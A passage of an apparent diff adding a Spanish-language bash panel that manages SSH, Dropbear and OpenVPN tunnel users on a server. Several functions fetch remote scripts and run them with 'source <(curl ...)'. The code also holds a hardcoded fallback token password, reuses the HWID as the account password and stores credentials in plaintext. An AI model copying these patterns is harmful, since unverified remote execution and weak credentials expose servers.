$IP${cor[2]}:${cor[5]}$PORT${cor[2]}@${cor[4]}$name${cor[2]}:${cor[4]}$pass 】" | pv -qL 80 +done +fi +} || { +echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41mNo existe SSL" | pv -qL 80 +#echo -e "\033[1;39m" +} +[[ -e /etc/scpdk1/slow/dnsi/server.pub && -e /etc/scpdk1/slow/dnsi/domain_ns ]] && { +echo -e "【 SLOWDNS KEY >${cor[4]} $(cat /etc/scpdk1/slow/dnsi/server.pub) 】" +echo -e "【 DOMINIO NS >${cor[4]} $(cat /etc/scpdk1/slow/dnsi/domain_ns) 】" +echo -e "【 CONEXION REDIRECCIONADA VIA PUERTO ->${cor[4]} $(cat /etc/scpdk1/slow/dnsi/puerto) 】" +} +msg -bar +} +fkhwid () { +local _netCAT="$(netstat -tunlp)" +echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41m En APPS como HTTP Inyector, CUSTOM, etc" #| pv -qL 15 +#echo -ne " " && msg -bra " \033[1;41m En APPS como HTTP Inyector, CUSTOM, etc" +[[ $(mportas|grep dropbear|head -1) ]] && { +if netstat -tunlp |grep sslh 1> /dev/null 2> /dev/null; then +sslhp=`echo -e "${_netCAT}" | grep sslh| grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/sslh.txt && echo | cat /tmp/sslh.txt | tr '\n' ' ' > /etc/scpdk1/sslh.txt && cat /etc/scpdk1/sslh.txt`; +PORT=$(cat /etc/scpdk1/sslh.txt | sed 's/\s\+/,/g' | cut -d , -f1) +echo -e " 【 DROPBEAR >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]} 】" | pv -qL 80 +else +#echo -e "\033[1;39mPara uso Dropbear usa la Sintaxis" +dropbearports=`echo -e "${_netCAT}" | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /etc/scpdk1/dropbearports.txt && cat /etc/scpdk1/dropbearports.txt`; +PORT=$(cat /etc/scpdk1/dropbearports.txt | sed 's/\s\+/,/g' | cut -d , -f1) +echo -e " 【 Dropbear >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]} 】" | pv -qL 80 +fi +} || { +echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41mNo existe Dropbear" | pv -qL 80 +} +###### +[[ $(mportas|grep stunnel|head -1) ]] && { +if netstat -tunlp |grep sslh 1> /dev/null 2> /dev/null; then +local sslhp=`echo -e "${_netCAT}"| grep sslh| grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/sslh.txt && echo | cat /tmp/sslh.txt | tr '\n' ' ' > /etc/scpdk1/sslh.txt && cat /etc/scpdk1/sslh.txt`; +local PORT=$(cat /etc/scpdk1/sslh.txt | sed 's/\s\+/,/g' | cut -d , -f1) +echo -e " 【 SSL 😊 >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]} 】" | pv -qL 80 +else +#echo -e "\033[1;39mPara uso SSL usa la Sintaxis" +local sslports=`echo -e "${_netCAT}" | grep stunnel4 | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /etc/scpdk1/sslports.txt && cat /etc/scpdk1/sslports.txt`; +local PORT=$(cat /etc/scpdk1/sslports.txt | sed 's/\s\+/,/g' | cut -d , -f1) +echo -e " 【 SSL 😊 >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]} 】" | pv -qL 80 +fi +} || { +echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41mNo existe SSL" | pv -qL 80 +#echo -e "\033[1;39m" +} +[[ -e /etc/scpdk1/slow/dnsi/server.pub && -e /etc/scpdk1/slow/dnsi/domain_ns ]] && { +echo -e "【 SLOWDNS KEY >${cor[4]} $(cat /etc/scpdk1/slow/dnsi/server.pub) 】" +echo -e "【 DOMINIO NS >${cor[4]} $(cat /etc/scpdk1/slow/dnsi/domain_ns) 】" +echo -e "【 CONEXION REDIRECCIONADA VIA PUERTO ->${cor[4]} $(cat /etc/scpdk1/slow/dnsi/puerto) 】" +} +msg -bar +} + +fun_ovpn_onl () { +for userovpn in `cat /etc/passwd | grep ovpn | awk -F: '{print $1}'`; do +us=$(cat /etc/openvpn/openvpn-status.log | grep $userovpn | wc -l) +if [ "$us" != "0" ]; then +echo "$userovpn" +fi +done +} + + + +time-us () { +if [[ -z "${tempoin}" ]];then + tempoin="30" + tempoin=$(( $tempoin * 60 )) + tempoin=$tempoin"s" + echo "Default 30 minutos" +fi +tempo=$(echo "$tempoin" |sed 's/ //g') +tmm=$(echo $tempo |sed 's/[0-9]//g') +if [ "$tmm" = "s" ]; then +ext=$(echo $tempo |sed 's/[a-z]//g') +let tempo=$ext*1 +tempo=$tempo"s" +#echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41m" +ext=1 +fi +if [ "$tmm" = "m" ]; then +ext=$(echo $tempo |sed 's/[a-z]//g') +let tempo=$ext*60 +tempo=$tempo"s" +#echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41m" +ext=1 +fi +if [ "$tmm" = "h" ]; then +ext=$(echo $tempo |sed 's/[a-z]//g') + if [ "$ext" > "23" ]; then + ext=$(echo $tempo |sed 's/[a-z]//g') + let tempo=$ext*3600 + tempo=$tempo"s" + else + let tempo=$ext*3600 + tempo=$tempo"s" + ext=1 + fi +#echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41m" +fi +if [ "$tmm" = "d" ]; then +ext=$(echo $tempo |sed 's/[a-z]//g') +let tempo=$ext*3600 +tempo=$tempo"s" +#echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41m" +fi +} + +recuva1 () { +source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/usercodes/sd) +} + +function criarusuarioteste(){ + +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +meu_ip +[[ -d /etc/usuariosteste ]] || mkdir /etc/usuariosteste +echo -e " USUARIOS TEMPORALES CREADOS" +for testus in $(ls /etc/usuariosteste |sort |sed 's/.sh//g') +do +echo "$testus" +done +printf "\n" +echo -e "${cor[5]} Ingrese Nombre del Usuario:"; read -p "Digita : " -e -i demo-$(($RANDOM*10)) +nome="demo-$(date | md5sum | head -c10)" +if [ -z $nome ]; then +echo -e "${cor[5]} ⚠️ ⚠️${cor[0]}" +return +fi +if cat /etc/passwd |grep $nome: |grep -vi [a-z]$nome |grep -v [0-9]$nome > /dev/null +then +echo -e "${cor[5]} ⚠️ USUARIO YA EXISTE, REGISTRE OTRO ⚠️${cor[0]}" +return +fi +msg -bar +echo -e "${cor[5]} Contraseña para el usuario $nome" +name=$nome +pass="$(date | md5sum | head -c10)" +msg -bar +echo -e "${cor[5]} Duración para el Usuario $nome" +echo -e " Use s = segundos, m = minutos, h = horas e d = dias EX: 14s ." +read -p " VALIDEZ: " tempoin +echo -e "${cor[5]} LIMITE DE CONEXIONES PARA $name" +read -p " LIMITE: " limit +if [[ -z "${limit}" ]];then + limit="5" + echo "Default 5 Logins" +fi +msg -bar +time-us +valides=$(date '+%C%y-%m-%d' -d " +$ext days") +useradd -M -N -s /bin/false $nome -e $valides +(echo $pass;echo $pass) |passwd $nome 1>/dev/null 2>/dev/null +chage -I 1 $nome 2> /dev/null +if [ "$OPENVPN" = "on" ]; then +open_1 $nome $pass $daysrnf $limit s +echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP" +echo -e "${cor[5]} USUARIO : ${cor[4]}$name" +echo -e "${cor[5]} PASSWD : ${cor[4]}$pass" +echo -e "${cor[5]} LIMITE : ${cor[4]}$limit" +echo -e "${cor[5]} VALIDEZ : ${cor[4]}$datexp" +msg -bar +rm -f ./$CLIENT.ovpn > /dev/null +return +fi +echo "#!/bin/bash" > /etc/usuariosteste/$nome.sh +echo "sleep $tempo" >> /etc/usuariosteste/$nome.sh +echo "uskk=$(cat /bin/ejecutar/uskill)" >> /etc/usuariosteste/$nome.sh +echo 'uskk=$(($uskk + 1))' >> /etc/usuariosteste/$nome.sh +echo 'echo $uskk > /bin/ejecutar/uskill' >> /etc/usuariosteste/$nome.sh +echo "kill"' $(ps -u '"$nome |awk '{print"' $1'"}') 1>/dev/null 2>/dev/null +userdel --force $nome +rm -rf ./$CLIENT.ovpn > /dev/null +rm -rf /etc/usuariosteste/$nome.sh +exit" >> /etc/usuariosteste/$nome.sh +screen -dmS ${nome} bash /etc/usuariosteste/$nome.sh +#figlet $nome | lolcat +echo -e "${cor[5]} * Registrar Usuario Temporal *" +echo -e "${cor[5]} * Puertas Activas en su Servidor *" +msg -bar +ports_ +msg -bar +echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP" +echo -e "${cor[5]} USUARIO : ${cor[4]}$name" +echo -e "${cor[5]} PASSWD : ${cor[4]}$pass" +echo -e "${cor[5]} LIMITE : ${cor[4]}$limit" +echo -e "${cor[5]} VALIDEZ : ${cor[4]}$tempo" +msg -bar +echo "senha: $pass" > $dir_user/$nome +echo "limite: $limit" >> $dir_user/$nome +echo "data: $valid" >> $dir_user/$nome +echo -ne "${cor[2]}" +fk +echo -e " Despues de expirar !!!!" +echo -e " Este usuario sera desconectados y eliminados." +echo -ne "${cor[2]}" +return +} +#USUARIO TEST DE PRUEBA +net_meter () { +net_dir="/etc/scpdk1/userDIR/usr_cnx" +if [ ! -e "$net_dir" ]; then +echo -e "${cor[5]} Verificación no está activada, o no existe información" +msg -bar +return +fi +net_cent="/tmp/porcentagem" +sed -i '/^$/d' $net_dir + [[ ! -e "$net_cent" ]] && touch $net_cent + while read cent; do + echo "$cent" | awk '{print $2}' >> $net_cent + done < $net_dir + por_cent=$(paste -sd+ $net_cent | bc) + rm $net_cent +bb=$(printf '%-18s' "USO APROXIMADO") +aa=$(printf '%-19s' "USUARIOS") +cc=$(printf '%-18s' "CONSUMO TOTAL") +msg -bar +echo -e "\033[1;33m $aa $bb $cc" +msg -bar +while read u; do +b=$(printf '%-18s' "$(($(echo $u | awk '{print $2}')/970)) - MB") +a=$(printf '%-20s' "$(echo $u | awk '{print $1}')") +[[ "$por_cent" = "0" || "$por_cent" = "" ]] && por_cent="1" +pip=$(echo $u | awk '{print $2}') +[[ "$pip" = "" || "$pip" = "0" ]] && pip="1" +percent_user=$(($pip*100/$por_cent)) > /dev/null 2>&1 +[[ $percent_user = "0" ]] && percent_user="1" +c=$(printf '%-18s' "$percent_user %%") +if [ "$(($(echo $u | awk '{print $2}')/970))" -gt "1" ]; then +echo -e "\033[1;32m $a \033[1;31m$b \033[1;32m$c" +fi +done < $net_dir +[[ "$(cat $net_dir)" = "" ]] && echo -e "${cor[5]} Verificación no está activada, o no existe información" +msg -bar +echo -e "${cor[1]} Controlar Consumo de Cada Usuario Por Separado ${cor[0]}" +unset net_dir +#monit_user +} + +drop_kill () { +user="$1" +echo "$user $for_kill" + for pid in `$(dropbear_pids | grep "$user" | awk '{print $2}')`; do + kill $pid + done +} + +botusers () { +unset bot_ini +PIDGEN=$(echo -e ${_ps}|grep -v grep|grep "ultimatebot") +killall $PIDGEN > /dev/null 2>&1 +if [[ ! $PIDGEN ]]; then + msg -bar + echo -ne "\033[1;97m Deseas Activar el Bot Telegram [s/n]: " + read bot_ini + msg -bar +[[ $bot_ini = @(s|S|y|Y) ]] && source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/usercodes/telebot.sh) +else +kill -9 $(echo -e ${_ps} | grep "ultimatebot" | grep -v grep | awk '{print $1}') > /dev/null 2>&1 && echo "BOT DETENIDO EXITOSAMENTE" +kill $(ps x | grep "telebotusr" | grep -v "grep" | awk '{print $1}') +[[ -e /etc/scpdk1/ShellBot.sh ]] && rm /etc/scpdk1/ShellBot.sh +[[ -e /etc/scpdk1/ultimatebot ]] && rm /etc/scpdk1/ultimatebot +[[ -e /etc/scpdk1/bot_codes ]] && rm /etc/scpdk1/bot_codes +fi +} + +consul_cli () { +unset select_name namer nameFX +botusers +dir_user="/etc/scpdk1/userDIR" +msg -bar +select_users 'CONSULTA DATOS DE CLIENTE INDIVIDUAL' +if [ "$select_name" = "" ]; then +return +fi +namer="$select_name" +[[ $(cat /etc/scpdk1/userDIR/$namer | grep "limite" | awk '{print $2}') = "HWID" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer +[[ $(cat /etc/scpdk1/userDIR/$namer | grep "limite" | awk '{print $2}') = "TOKEN" ]] && nameFX="$(cat /etc/scpdk1/userDIR/$u | grep "senha" | awk '{print $2}')" || nameFX=$namer +echo -e "${cor[5]} Que opción va a editar de: $namer" +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m >${cor[3]} Consultar estado de Usuario: $nameFX" +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m >${cor[3]} Reiniciar Usuario: $nameFX" +msg -bar +read -p " ESCOJE: " _opt +if [ "$_opt" = "1" ]; then +unset limite +data=$(cat $dir_user/$namer | grep "data" | awk '{print $2}') +data_sec=$(date +%s) +data_user=$(chage -l "$namer" |grep -i co |awk -F ":" '{print $2}') +data_user_sec=$(date +%s --date="$data_user") +variavel_soma=$(($data_user_sec - $data_sec)) +dias_use=$(($variavel_soma / 86400)) +if [ -z "$limite" ]; then +limite="null" +fi +if [ "$dias_use" -le 0 ]; then +echo -e " ✭ Eiii, Malas Noticias ☹!!\n Usuario : $nameFX. Esta Caducado ☹ \n!! Contacta Cliente, Para Renobar su Membresia\n" | pv -qL 80 +echo -e "${cor[5]} Usuario $nameFX: VENCIDO EL: $data" +pkill -u $namer +else +limite=$(cat $dir_user/$namer | grep "limite" | awk '{print $2}') +date="$dias_use" +datexp=$(date "+%d/%m/%Y" -d " + $date days") +valid=$(date '+%C%y-%m-%d' -d " + $date days") +echo -e " ✭ SU CLIENTE : $namer, ES VALIDO HASTA -> $data ☺" +echo -e " ✭ CON 【 $limite 】 CONEXIONES SIMULTANEAS!!. " +echo -e "${cor[5]} RENUEVA EN $dias_use DIAS, DISFRUTE SU ESTANCIA!. " +pkill -u $namer +fi +return +fi +if [ "$_opt" = "2" ]; then +echo -e "${cor[5]} CLIENTE REINICIADO EN SUS CONEXIONES" +pkill -u $namer +echo -e " SI QUIERES VOLVER AL MENU, PRESIONA ENTER!." +read -p " DIGITA 『 ok 』 PARA REINICIAR SERVICIO SSH ▢ TUNNEL : " _ok +if [ "$_ok" = "ok" ]; then +echo -ne " \033[1;31m[ ! ] Services dropbear restart" +service dropbear restart > /dev/null 2>&1 +[[ -e /etc/init.d/dropbear ]] && /etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services SSH & STUNNEL4 restart" +service ssh restart > /dev/null 2>&1 +service sshd restart > /dev/null 2>&1 +[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +service stunnel4 restart > /dev/null 2>&1 +echo "SERVICIOS REINICIADOS EXITOSAMENTE " | pv -qL 50 +fi +return +fi + + +} + +fun_time_user () { +declare -A data +usr_pids_var="./userDIR" +user_x="$1" +if [ -e $usr_pids_var/$user_x.pid2 ]; then +source $usr_pids_var/$user_x.pid2 +[[ ${data[$user_x]} != +([0-9]) ]] && data[$user_x]="0" +_data_now=$(date +%s) +time[$user_x]=$((${_data_now} - ${data[$user_x]})) +else +time[$user_x]="0" +fi +} + +fun_us() { +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +msg -bar +echo -e " \033[0;50m ⚜️ CREADOR DE CUENTAS TIPO ⚜️ " +msg -bar +echo -e " \033[0;35m[\033[0;32m01\033[0;35m] \033[0;33m >\033[0;33m SSH|DROPBEAR (DEMO) " +echo -e " \033[0;35m[\033[0;32m02\033[0;35m] \033[0;33m >\033[0;33m SSH|DROPBEAR " +echo -e " \033[0;35m[\033[0;32m03\033[0;35m] \033[0;33m >\033[0;33m HWID " +echo -e " \033[0;35m[\033[0;32m04\033[0;35m] \033[0;33m >\033[0;31m TOKEN " +msg -bar +echo -e " \033[0;35m[\033[0;32m05\033[0;35m] \033[0;33m >\033[0;31m MODIFICAR CONTRASEÑA TOKEN " +msg -bar +echo -e " \033[0;35m[\033[1;32m00\033[0;35m] \033[0;33m ⇦ $(msg -bra "\e[3;33m[ VOLVER ]\e[0m")" +msg -bar +selection=$(selection_fun 5) +case ${selection} in +0|00) +return +;; +1|01) +cd /etc/scpdk1/ && criarusuarioteste +;; +2|02) +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +function_1 +;; +3|03) +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +fun_us_hwid +;; +4|04) +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +fun_us_tk +;; +5) +[[ ! -e /bin/ejecutar/token ]] && touch /bin/ejecutar/token +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +echo -e "${cor[5]} ⚠️ CLAVE ACTUAL : $(cat < /bin/ejecutar/token) ⚠️${cor[0]}" +msg -bar +echo -e "${cor[5]} ⚠️ ATENCION ANTES DE CONTINUAR ⚠️${cor[0]}" +echo -e "" +echo -e " SE DEFINIRA SU CONTRASEÑA TOKEN UNICA" +echo -e " UNA VEZ COLOCADA SE RECOMIENDA NO CAMBIARLA" +echo "" +msg -bar +echo -ne "${cor[5]} ⎚ CONTRASEÑA "; read -p "TOKEN : " passtok +echo ${passtok} > /bin/ejecutar/token +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +;; +esac +} + +fun_us_hwid(){ +[[ ! -e /bin/ejecutar/limFIX ]] && { +echo -e "${cor[5]} ⚠️ ATENCION ANTES DE CONTINUAR ⚠️${cor[0]}" +echo -e "" +echo -e " OPCIONAL DEFINE UN LIMITE DE RECONEXIONES" +echo -e " ESPECIALES PARA APPS O METODOS INESTABLES!!" +echo -e " SINO ENTIENDES LA FUNCION, PRESIONA ENTER!!" +echo "" +msg -bar +echo -ne "${cor[5]} ⎚ DEFINE TU " +read -p " LIMITE : " -e -i "1" _limTP +echo ${_limTP} > /bin/ejecutar/limFIX +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +} + +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +echo -ne "${cor[5]} ⎚ NOMBRE DE"; read -p " USUARIO : " name +tput cuu1 && tput dl1 +[[ -z $name ]] && echo -e "${cor[5]} ⚠️ NO REGISTRO NOMBRE, RETORNANDO ⚠️${cor[0]}" && return +msg -bar +echo -e "${cor[5]} INGRESA HWID PARA $name" +read -p " HWID: " hwid +if cat /etc/passwd |grep $hwid: |grep -vi [a-z]$hwid |grep -v [0-9]$hwid > /dev/null +then +echo -e "${cor[5]} ⚠️ HWID YA EXISTE, REGISTRE OTRO ⚠️${cor[0]}" +return +fi +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +[[ -z "${hwid}" ]] && echo " ⚠️ No se Ingreso HWID , RETORNANDO! ⚠️" && return +msg -bar +echo -e "${cor[5]} TIEMPO DE DURACION EN DIAS PARA $name" +read -p " VALIDEZ : " daysrnf +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +[[ -z "${daysrnf}" ]] && daysrnf="2" +msg -bar +meu_ip +valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days") +datexp=$(date "+%d/%m/%Y" -d " +$daysrnf days") +useradd -M -s /bin/false $hwid -e $valid +(echo $hwid; echo $hwid)|passwd $hwid 2>/dev/null +echo "$hwid 1" >>/root/usuarios.db +tput cuu1 >&2 && tput dl1 >&2 +#figlet $name | lolcat +echo -e "${cor[5]} * Puertas Activas en su Servidor *" +msg -bar +ports_ +msg -bar +echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP" +echo -e "${cor[5]} USUARIO : ${cor[4]}$name" +echo -e "${cor[5]} HWID : ${cor[4]}$hwid" +echo -e "${cor[5]} VALIDEZ : ${cor[4]}$datexp" +msg -bar +echo "senha: $name" > $dir_user/$hwid +echo "limite: HWID" >> $dir_user/$hwid +echo "data: $valid" >> $dir_user/$hwid +fkhwid +msg -bar +tput cuu1 >&2 && tput dl1 >&2 +echo -ne "${cor[2]}" +return +} + +fun_us_tk(){ +[[ ! -e /bin/ejecutar/token ]] && { +echo -e "${cor[5]} ⚠️ ATENCION ANTES DE CONTINUAR ⚠️${cor[0]}" +echo -e "" +echo -e " SE DEFINIRA SU CONTRASEÑA TOKEN UNICA" +echo -e " UNA VEZ COLOCADA NO PODRA SER MANIPULADA" +echo "" +msg -bar +echo -ne "${cor[5]} ⎚ CONTRASEÑA "; read -p "TOKEN : " passtok +echo ${passtok} > /bin/ejecutar/token +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +} + +[[ ! -e /bin/ejecutar/limFIX ]] && { +echo -e "${cor[5]} ⚠️ ATENCION ANTES DE CONTINUAR ⚠️${cor[0]}" +echo -e "" +echo -e " OPCIONAL DEFINE UN LIMITE DE RECONEXIONES" +echo -e " ESPECIALES PARA APPS O METODOS INESTABLES!!" +echo -e " SINO ENTIENDES LA FUNCION, PRESIONA ENTER!!" +echo "" +msg -bar +echo -ne "${cor[5]} ⎚ DEFINE TU " +read -p " LIMITE : " -e -i "1" _limTP +echo ${_limTP} > /bin/ejecutar/limFIX +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +} + +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +echo -ne "${cor[5]} ⎚ NOMBRE DE"; read -p " USUARIO : " name +tput cuu1 && tput dl1 +[[ -z $name ]] && echo -e "${cor[5]} ⚠️ NO REGISTRO NOMBRE, RETORNANDO ⚠️${cor[0]}" && return +msg -bar +echo -e "${cor[5]} INGRESA TOKEN PARA $name" +read -p " TOKEN: " hwid +if cat /etc/passwd |grep $hwid: |grep -vi [a-z]$hwid |grep -v [0-9]$hwid > /dev/null +then +echo -e "${cor[5]} ⚠️ TOKEN YA EXISTE, REGISTRE OTRO ⚠️${cor[0]}" +return +fi +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +[[ -z "${hwid}" ]] && echo " ⚠️ No se Ingreso TOKEN , RETORNANDO! ⚠️" && return +msg -bar +echo -e "${cor[5]} TIEMPO DE DURACION EN DIAS PARA $name" +read -p " VALIDEZ : " daysrnf +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +[[ -z "${daysrnf}" ]] && daysrnf="2" +msg -bar +meu_ip +valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days") +datexp=$(date "+%d/%m/%Y" -d " +$daysrnf days") +[[ -e /bin/ejecutar/token ]] && passTOKEN=$(less /bin/ejecutar/token) || passTOKEN="ChumoGHPlus" +if useradd -M -s /bin/false $hwid -e $valid ; then +(echo $passTOKEN; echo $passTOKEN)|passwd $hwid 2>/dev/null +echo "$hwid 1" >>/root/usuarios.db +clear&&clear +echo -e "${cor[5]} * Puertas Activas en su Servidor *" +msg -bar +ports_ +msg -bar +echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP" +echo -e "${cor[5]} USUARIO : ${cor[4]}$name" +echo -e "${cor[5]} TOKEN : ${cor[4]}$hwid" +echo -e "${cor[5]} VALIDEZ : ${cor[4]}$datexp" +msg -bar +echo "senha: $name" > $dir_user/$hwid +echo "limite: TOKEN" >> $dir_user/$hwid +echo "data: $valid" >> $dir_user/$hwid +fkhwid +msg -bar +else +echo -e "${cor[5]} ⚠️ ERROR AL REGISTRAR SU TOKEN | REINTENTE ⚠️${cor[0]}" +fi +echo -ne "${cor[2]}" +return +} + +function_1 () { +echo -e "${cor[4]} ❑ MENU DE CREACION DE USUARIOS ❒ " +msg -bar +echo -ne "${cor[5]} > NOMBRE DE"; read -p " USUARIO : " name +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +if [ -z $name ]; then +echo -e "${cor[5]} ⚠️ NO REGISTRO NOMBRE, RETORNANDO ⚠️${cor[0]}" +return +fi +if cat /etc/passwd |grep $name: |grep -vi [a-z]$name |grep -v [0-9]$name > /dev/null +then +echo -e "${cor[5]} ⚠️ USUARIO YA EXISTE, USE OTRO NOMBRE ⚠️${cor[0]}" +return +fi +msg -bar +echo -e "${cor[5]} CONTRASEÑA PARA $name" +read -p " CONTRASEÑA : " pass +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +if [[ -f "${pass}" ]];then + pass="$(date | md5sum | head -c10)" +fi +msg -bar +echo -e "${cor[5]} TIEMPO DE DURACION EN DIAS PARA $name" +read -p " VALIDEZ : " daysrnf +daysrnf=$(echo -e "$daysrnf" |sed -e 's/[^0-9]//ig') +number_var $daysrnf +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +if [[ -f "${daysrnf}" ]];then + daysrnf="2" +fi +msg -bar +echo -e "${cor[5]} LIMITE DE CONEXIONES PARA $name" +read -p " LIMITE : " limit +limit=$(echo -e "$limit" |sed -e 's/[^0-9]//ig') +number_var $limit +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +if [[ -f "${limit}" ]];then + limit="1" +fi +msg -bar +meu_ip +if [ "$OPENVPN" = "on" ]; then +open_1 $name $pass $daysrnf $limit s +msg -bar +ports_ +msg -bar +echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP" +echo -e "${cor[5]} USUARIO : ${cor[4]}$name" +echo -e "${cor[5]} PASSWD : ${cor[4]}$pass" +echo -e "${cor[5]} LIMITE : ${cor[4]}$limit" +echo -e "${cor[5]} VALIDEZ : ${cor[4]}$datexp" +msg -bar +fk +rm -rf ./$CLIENT.ovpn > /dev/null 2>&1 +rm -f ./$CLIENT.ovpn > /dev/null 2>&1 +msg -bar +return +fi +valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days") +datexp=$(date "+%d/%m/%Y" -d " +$daysrnf days") +#echo -ne " USUARIO" +#( +if useradd -M -s /bin/false $name -e $valid ; then +(echo $pass; echo $pass)|passwd $name >/dev/null 2>&1 & +echo "$name $limit" >>/root/usuarios.db +tput cuu1 >&2 && tput dl1 >&2 +figlet $name | lolcat +echo -e "${cor[5]} * Puertas Activas en su Servidor *" +msg -bar +ports_ +msg -bar +echo -e "${cor[5]} Host/IP-Address : ${cor[4]}$IP" +echo -e "${cor[5]} USUARIO : ${cor[4]}$name" +echo -e "${cor[5]} PASSWD : ${cor[4]}$pass" +echo -e "${cor[5]} LIMITE : ${cor[4]}$limit" +echo -e "${cor[5]} VALIDEZ : ${cor[4]}$datexp" +msg -bar +echo "senha: $pass" > $dir_user/$name +echo "limite: $limit" >> $dir_user/$name +echo "data: $valid" >> 